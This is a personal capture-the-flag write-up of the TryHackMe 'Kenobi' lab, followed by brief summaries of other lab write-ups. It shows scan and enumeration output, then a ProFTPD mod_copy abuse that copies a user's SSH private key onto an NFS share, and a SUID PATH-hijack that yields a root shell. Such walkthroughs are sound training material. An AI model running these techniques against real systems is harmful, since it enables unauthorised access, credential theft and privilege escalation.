TryHackMe - Kenobi - Oct 29th 2023

The target IP is 10.10.76.140. Port scanning reveals several open ports including FTP, SSH, HTTP, RPCbind, NetBIOS, and NFS. Further vulnerability scanning uncovers potential exploits for ProFTPD 1.3.5 and OpenSSH 7.2p2 Ubuntu 4ubuntu2.7. Exploits include CVE-2015-3306 and CVE-2016-8858.

Preston Zen

prestonzen.com

Target IP - 10.10.76.140 (Given)

Recon

nmap --top-ports 3000 -T5 10.10.76.140 --open //Probably could do 5-10k
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs

nmap -sC -sV --script vuln -p21,22,80,111,139,445,2049 --open -oN kenobi-nmap-run1 10.10.76.140

Nmap 7.94 scan initiated Mon Oct 30 21:19:40 2023 as: nmap -sC -sV --script vuln -p21,22,80,111,139,445,2049 --open -oN kenobi-nmap-run1 10.10.76.140

Host script results:
|smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos:
| VULNERABLE:
| Service regsvc in Microsoft Windows systems vulnerable to denial of service
| State: VULNERABLE
| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
| while working on smb-enum-sessions.
|
|_smb-vuln-ms10-061: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Mon Oct 30 21:25:39 2023 -- 1 IP address (1 host up) scanned in 359.36 seconds

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.76.140
PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-shares:
| account_used: guest
| \10.10.76.140\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users:
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.10.76.140\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users:
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.10.76.140\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users:
| Path: C:\var\lib\samba\printers
| Anonymous access:
|_ Current user access:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.76.140
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *

Exploit

smbclient //10.10.76.140/anonymous
smb: > ls
. D 0 Wed Sep 4 10:49:09 2019
.. D 0 Wed Sep 4 10:56:07 2019
log.txt N 12237 Wed Sep 4 10:49:09 2019
9204224 blocks of size 1024. 6876720 blocks available
smb: > get log.txt local.txt
getting file \log.txt of size 12237 as local.txt (26.4 KiloBytes/sec) (average 26.4 KiloBytes/sec)
exit
cat local.txt
Generating public/private rsa key pair.
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+

This is a basic ProFTPD configuration file (rename it to

'proftpd.conf' for actual use. It establishes a single server

and a single anonymous login. It assumes that you have a user/group

"nobody" and "ftp" for normal operation and anon.

ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on

Port 21 is the standard FTP port.

Port 21

Don't use IPv6 support by default.

UseIPv6 off

Umask 022 is a good standard umask to prevent new dirs and files

from being group and world writable.

Umask 022

To prevent DoS attacks, set the maximum number of child processes

to 30. If you need to allow more than 30 concurrent connections

at once, simply increase this value. Note that this ONLY works

in standalone mode, in inetd mode you should use an inetd server

that allows you to limit maximum number of processes per service

(such as xinetd).

MaxInstances 30

Set the user and group under which the server will run.

User kenobi
Group kenobi

To cause every FTP user to be "jailed" (chrooted) into their home

directory, uncomment this line.

DefaultRoot~

Normally, we want files to be overwriteable.

AllowOverwrite on

Bar use of SITE CHMOD by default

We want clients to be able to login with "anonymous" as well as "ftp"

UserAlias anonymous ftp

Limit the maximum number of anonymous logins

MaxClients 10

We want 'welcome.msg' displayed at login, and '.message' displayed

in each newly chdired directory.

DisplayLogin welcome.msg
DisplayChdir .message

Limit WRITE everywhere in the anonymous chroot

#= Global Settings =

[global]

Browsing/Identification

Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = WORKGROUP

server string is the equivalent of the NT Description field

server string = %h server (Samba, Ubuntu)

Windows Internet Name Serving Support Section:

WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = no

WINS Server - Tells the NMBD components of Samba to be a WINS Client

Note: Samba can be either a WINS Server, or a WINS Client, but NOT both

; wins server = w.x.y.z

This will prevent nmbd to search for NetBIOS names through DNS.

dns proxy = no

Networking

The specific set of interfaces / networks to bind to

This can be either the interface name or an IP address/netmask;

interface names are normally preferred

; interfaces = 127.0.0.0/8 eth0

Only bind to the named interfaces and/or networks; you must use the

'interfaces' option above to use this.

It is recommended that you enable this feature if your Samba machine is

not protected by a firewall or is a firewall itself. However, this

option cannot handle dynamic or non-broadcast interfaces correctly.

; bind interfaces only = yes

Debugging/Accounting

This tells Samba to use a separate log file for each machine

that connects

log file = /var/log/samba/log.%m

Cap the size of the individual log files (in KiB).

max log size = 1000

If you want Samba to only log through syslog then set the following

parameter to 'yes'.

syslog only = no

We want Samba to log a minimum amount of information to syslog. Everything

should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log

through syslog you should set the following parameter to something higher.

syslog = 0

Do something sensible when Samba crashes: mail the admin a backtrace

panic action = /usr/share/samba/panic-action %d

####### Authentication #######

Server role. Defines in which mode Samba will operate. Possible

values are "standalone server", "member server", "classic primary

domain controller", "classic backup domain controller", "active

directory domain controller".

Most people will want "standalone sever" or "member server".

Running as "active directory domain controller" will require first

running "samba-tool domain provision" to wipe databases and create a

new domain.

server role = standalone server

If you are using encrypted passwords, Samba will need to know what

password database type you are using.

passdb backend = tdbsam

obey pam restrictions = yes

This boolean parameter controls whether Samba attempts to sync the Unix

password with the SMB password when the encrypted SMB password in the

passdb is changed.

unix password sync = yes

For Unix password sync to work on a Debian GNU/Linux system, the following

parameters must be set (thanks to Ian Kahan <[email protected] for

sending the correct chat script for the passwd program in Debian Sarge).

passwd program = /usr/bin/passwd %u
passwd chat = Enter\snew\s\spassword:* %n\n Retype\snew\s\spassword:* %n\n password\supdated\ssuccessfully .

This boolean controls whether PAM will be used for password changes

when requested by an SMB client instead of the program listed in

'passwd program'. The default is 'no'.

pam password change = yes

This option controls how unsuccessful authentication attempts are mapped

to anonymous connections

map to guest = bad user

########## Domains ###########

The following settings only takes effect if 'server role = primary

classic domain controller', 'server role = backup domain controller'

or 'domain logons' is set

It specifies the location of the user's

profile directory from the client point of view) The following

required a [profiles] share to be setup on the samba server (see

below)

; logon path = \%N\profiles%U

Another common choice is storing the profile in the user's home directory

(this is Samba's default)

logon path = \%N%U\profile

The following setting only takes effect if 'domain logons' is set

It specifies the location of a user's home directory (from the client

point of view)

; logon drive = H:

logon home = \%N%U

The following setting only takes effect if 'domain logons' is set

It specifies the script to run during logon. The script must be stored

in the [netlogon] share

NOTE: Must be store in 'DOS' file format convention

; logon script = logon.cmd

This allows Unix users to be created on the domain controller via the SAMR

RPC pipe. The example command creates a user account with a disabled Unix

password; please adapt to your needs

; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u

This allows machine accounts to be created on the domain controller via the

SAMR RPC pipe.

The following assumes a "machines" group exists on the system

; add machine script = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u

This allows Unix groups to be created on the domain controller via the SAMR

RPC pipe.

; add group script = /usr/sbin/addgroup --force-badname %g

############ Misc ############

Using the following line enables you to customise your configuration

on a per machine basis. The %m gets replaced with the netbios name

of the machine that is connecting

; include = /home/samba/etc/smb.conf.%m

Some defaults for winbind (make sure you're not using the ranges

for something else.)

; idmap uid = 10000-20000
; idmap gid = 10000-20000
; template shell = /bin/bash

Setup usershare options to enable non-root users to share folders

with the net usershare command.

Maximum number of usershare. 0 (default) means that usershare is disabled.

; usershare max shares = 100

Allow users who've been granted usershare privileges to create

public shares, not just authenticated ones

usershare allow guests = yes

#= Share Definitions =

Un-comment the following (and tweak the other settings below to suit)

to enable the default home directory shares. This will share each

user's home directory as \server\username

;[homes]
; comment = Home Directories
; browseable = no

By default, the home directories are exported read-only. Change the

next parameter to 'no' if you want to be able to write to them.

; read only = yes

File creation mask is set to 0700 for security reasons. If you want to

create files with group=rw permissions, set next parameter to 0775.

; create mask = 0700

Directory creation mask is set to 0700 for security reasons. If you want to

create dirs. with group=rw permissions, set next parameter to 0775.

; directory mask = 0700

By default, \server\username shares can be connected to by anyone

with access to the samba server.

Un-comment the following parameter to make sure that only "username"

can connect to \server\username

This might need tweaking when using external authentication schemes

; valid users = %S

Un-comment the following and create the netlogon directory for Domain Logons

(you need to configure Samba to act as a domain controller too.)

;[netlogon]
; comment = Network Logon Service
; path = /home/samba/netlogon
; guest ok = yes
; read only = yes

Un-comment the following and create the profiles directory to store

users profiles (see the "logon path" option above)

(you need to configure Samba to act as a domain controller too.)

The path below should be writable by all users so that their

profile directory may be created the first time they log on

;[profiles]
; comment = Users profiles
; path = /home/samba/profiles
; guest ok = no
; browseable = no
; create mask = 0600
; directory mask = 0700

[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700

Windows clients look for this share name as a source of downloadable

printer drivers

[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no

Uncomment to allow remote administration of Windows print drivers.

You may need to replace 'lpadmin' with the name of the group your

admin users are members of.

Please note that you also need to set appropriate Unix permissions

to the drivers directory for these users to have write rights in it

; write list = root, @lpadmin
[anonymous]
path = /home/kenobi/share
browseable = yes
read only = yes
guest ok = yes

nc 10.10.76.140 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.76.140]

searchsploit ProFTPD 1.3.5
21:40:48

Exploit Title | Path

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt

Shellcodes: No Results
Papers: No Results

Want to grab his private key to connect into his system. Can exploiut the mod_copy module on this version of ProFTPD to move his private key to the publicly accessible /var folder

nc 10.10.76.140 21
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
^C

Now to mount the /var file to my system and grab the key
mkdir /mnt/kenobiNFS
mount 10.10.76.140:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
cd /mnt/kenobiNFS/tmp
cp

Now I need to move the user flag from kenobi's home directory to the tmp folder
nc 10.10.76.140 21
SITE CPFR /home/kenobi/user.txt
SITE CPTO /var/tmp/user.txt
^C
cat /home/kali/OSCP/Kenobi/user.txt
d0b0f3f53b6caa532a83915e19224899

Access

sudo chmod 600 id_rsa
ssh -i id_rsa [email protected]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

Documentation: https://help.ubuntu.com

Management: https://landscape.canonical.com

Support: https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

kenobi@kenobi:$ whoami
kenobi
kenobi@kenobi:$ hostnamectl
Static hostname: kenobi
Icon name: computer-vm
Chassis: vm
Machine ID: abda1bc6784553d38e5217dd5d6f7949
Boot ID: 1536dbb993604e9986c4141ef90e19f5
Virtualization: xen
Operating System: Ubuntu 16.04.6 LTS
Kernel: Linux 4.8.0-58-generic
Architecture: x86-64

Priv Esc

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ; 2>/dev/null
-rwsr-xr-x 1 root root 94240 May 8 2019 /sbin/mount.nfs
-rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 8880 Sep 4 2019 /usr/bin/menu
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6

Running menu program
./menu

status check

kernel version

ifconfig
** Enter your choice :2
4.8.0-58-generic

So since it runs as root because of SUID and it runs programs to find these outputs then changing the filenames of sh should give us a terminal with su priv
cd /tmp //move to a folder with write access
echo /bin/sh > curl //make the contents of curl run sh as a script
chmod 777 curl //Give perms to the new script
export PATH=/tmp:$PATH //make the tmp directory part of PATH to be globally accessable
/usr/bin/menu //run the modified menu program #1 option
whoami
root
![[Pasted image 20231031021859.png]]
flag: 177b3cd8562289f37382721c28381f02

Offsec - Levram - Nov 1st 2023

Offsec - InfosecPrep - Jun 21st 2023

TryHackMe - Blue - Oct 29th 2023

Scan results indicate open ports on target IP 10.10.55.49 with potential vulnerabilities. Exploits for known vulnerabilities were searched using msfconsole and a payload was set for Windows. Delivery and privilege escalation steps were performed successfully.

Offsec - FunboxRookie - May 13th 2023

The target IP address is 192.168.199.107. A scan using Nmap reveals open ports including FTP, SSH, and HTTP. There are anonymous FTP login allowed with various files. An exploit for ProFTPd 1.3.5 version is found. Attempt to unzip files requires a password. Checking for service version vulnerabilities. Found ProFTPd 1.3.5 exploit options. The goal is to get root access without using auto exploit frameworks.

Offsec - Codo - Oct 31st 2023

The given target is 192.168.186.23. Recon reveals open ports and services including SSH and HTTP. Dirbuster identifies directories. The main site has an admin login page. Using a hydra command, admin:admin login credentials are found. A search for exploits leads to an arbitrary file upload to RCE vulnerability. A shell is obtained. Privilege escalation is performed by upgrading the shell, running linpeas, and finding the root password. Access is gained as root. Proof.txt contains the proof.

Offsec - Sumo - Jun 15th 2023

Scanning for targets on subnet using Nmap and HTTP enumeration tools such as gobuster and dirbuster to find open ports and directories. Discovered an open SSH port and an Apache HTTP server. Detected Linux OS. Used dirbuster to search for directories and found a CGI vulnerability called shellshock. Confirmed vulnerability with nikto.

TryHackMe - RootMe - Oct 30th 2023

Performed network and service scanning, discovered open ports. Found hidden directories using dirb and dirbuster. Uploaded a reverse shell and gained access as www-data user. Identified sudo privilege escalation via Python and obtained root access. Retrieved user.txt and root.txt.

Offsec - Slort - Apr 22nd 2023

Target IP: 192.168.53.53. Nmap scan reveals open ports and services including FileZilla FTP Server, Microsoft Windows RPC, NetBIOS-ssn, Microsoft-ds, MySQL/MariaDB, Apache HTTP Server, and unidentified service on port 7680. Vulnerabilities and potential risks associated with each service are highlighted.

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